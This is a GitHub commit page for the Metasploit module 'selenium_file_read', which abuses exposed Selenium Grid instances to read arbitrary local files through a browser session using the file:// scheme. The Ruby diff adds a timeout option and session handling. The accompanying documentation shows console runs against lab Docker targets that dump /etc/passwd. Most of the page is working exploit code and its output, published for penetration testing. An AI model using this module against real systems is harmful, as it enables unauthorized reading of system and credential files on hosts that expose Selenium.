Skip to content

Commit

Permalink
Improve
Browse files Browse the repository at this point in the history
  * add timeout option
  * print session info
  * apply suggestions (#19769)
  • Loading branch information
Takahiro-Yoko committed Jan 4, 2025
1 parent bb138e4 commit 11c1b72
Show file tree
Hide file tree
Showing 2 changed files with 58 additions and 23 deletions.
32 changes: 25 additions & 7 deletions documentation/modules/auxiliary/gather/selenium_file_read.md
Original file line number Diff line number Diff line change
Expand Up @@ -47,6 +47,11 @@ This is the file to read. Default is `/etc/passwd`.

This is the browser to use. Default is `firefox`.

### TIMEOUT (required)

This is the amount of time (in seconds) that the module will wait for the payload to be
executed. Defaults to 75 seconds.


## Scenarios
### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
Expand All @@ -65,6 +70,7 @@ Module options (auxiliary/gather/selenium_file_read):
RPORT 4444 yes The target port (TCP)
SCHEME file yes The scheme to use
SSL false no Negotiate SSL/TLS for outgoing connections
TIMEOUT 75 yes Timeout for exploit (seconds)
VHOST no HTTP server virtual host
Expand All @@ -74,6 +80,7 @@ msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445
[*] Running module against 192.168.56.16
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 3.141.59 detected
[*] Started session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14).
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Expand Down Expand Up @@ -102,6 +109,7 @@ messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
[*] Failed to delete the session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
[*] Auxiliary module execution completed
```

Expand All @@ -110,7 +118,8 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446
[*] Running module against 192.168.56.16
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
[*] Started session (eb790e48-318a-4949-a7ff-8566f181a609).
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Expand Down Expand Up @@ -138,6 +147,7 @@ messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
[*] Failed to delete the session (eb790e48-318a-4949-a7ff-8566f181a609). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
[*] Auxiliary module execution completed
```

Expand All @@ -146,7 +156,8 @@ pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447
[*] Running module against 192.168.56.16
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
[*] Started session (2b4d313e-6e42-4c33-8bc8-630103269ef7).
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Expand Down Expand Up @@ -175,6 +186,7 @@ messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
[*] Failed to delete the session (2b4d313e-6e42-4c33-8bc8-630103269ef7). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
[*] Auxiliary module execution completed
```

Expand All @@ -183,7 +195,8 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448
[*] Running module against 192.168.56.16
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
[*] Started session (599a7d03-1eca-41f3-8726-3a192104dfc1).
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Expand All @@ -209,15 +222,17 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
[*] Failed to delete the session (599a7d03-1eca-41f3-8726-3a192104dfc1). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
[*] Auxiliary module execution completed
```

### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04
```
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4449 browser=chrome
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER=chrome
[*] Running module against 192.168.56.16
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
[*] Started session (363b104ba9d167f434518d3eb1add0c6).
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Expand All @@ -243,15 +258,17 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
[*] Deleted session (363b104ba9d167f434518d3eb1add0c6).
[*] Auxiliary module execution completed
```

### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04
```
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4450 browser=MicrosoftEdge
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER=MicrosoftEdge
[*] Running module against 192.168.56.16
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
[*] Started session (80c4ac70d41d4ffc5585e750c94d9ac5).
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Expand All @@ -277,5 +294,6 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
[*] Deleted session (80c4ac70d41d4ffc5585e750c94d9ac5).
[*] Auxiliary module execution completed
```
49 changes: 33 additions & 16 deletions modules/auxiliary/gather/selenium_file_read.rb
Original file line number Diff line number Diff line change
Expand Up @@ -52,38 +52,45 @@ def initialize(info = {})
OptString.new('SCHEME', [true, 'The scheme to use', 'file']),
OptString.new('FILEPATH', [true, 'File to read', '/etc/passwd']),
OptEnum.new('BROWSER', [true, 'The browser to use', 'firefox', ['firefox', 'chrome', 'MicrosoftEdge']]),
OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ]),
]
)
end

def check
res = send_request_cgi({
# Request for Selenium Grid version 3
v3res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
if res&.code != 200
res = send_request_cgi({
if v3res&.code != 200
# Request for Selenium Grid version 4
v4res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'status')
})
if res && res.get_json_document && res.get_json_document.include?('value') &&
res.get_json_document['value'].include?('message')
if res.get_json_document['value']['message'] == 'Selenium Grid ready.'
return Exploit::CheckCode::Appears('Selenium Grid version 4.x detected and ready.')
elsif res.get_json_document['value']['message'].downcase.include?('selenium grid')
if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') &&
v4res.get_json_document['value'].include?('message')
if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.'
return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.')
elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid')
return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.')
end
end

return Exploit::CheckCode::Unknown
return Exploit::CheckCode::Unknown('Unexpected server reply.')
end

js_code = res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
return Exploit::CheckCode::Unknown unless js_code
js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code

json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
json_data = JSON.parse(json_str)
return Exploit::CheckCode::Unknown unless json_data && json_data.include?('version') && json_data['version']
begin
json_data = JSON.parse(json_str)
rescue JSON::ParserError
return Exploit::CheckCode::Unknown('Unable to determine the version.')
end
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']

# Extract the version
version = Rex::Version.new(json_data['version'])
Expand Down Expand Up @@ -117,12 +124,14 @@ def run
]
}
})
})
fail_with(Failure::Unknown, 'Connection failed.') unless res
}, datastore['TIMEOUT'])
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res

session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId']
fail_with(Failure::Unknown, 'Failed to start session.') unless session_id

print_status("Started session (#{session_id}).")

# driver.get('file://%s' % [FILEPATH])
res = send_request_cgi({
'method' => 'POST',
Expand All @@ -143,11 +152,19 @@ def run
print_good("#{datastore['FILEPATH']}\n#{Nokogiri::HTML(res.get_json_document['value'])&.at('pre')&.text}")

# End session
send_request_cgi({
# This may take some time (about 5 minutes or so), so no timeout is set here.
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"),
'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }
})
if res
print_status("Deleted session (#{session_id}).")
else
print_status("Failed to delete the session (#{session_id}). "\
'You may need to wait for the session to expire (default: 5 minutes) or '\
'manually delete the session for the next exploit to succeed.')
end
end

end

0 comments on commit 11c1b72

Please sign in to comment.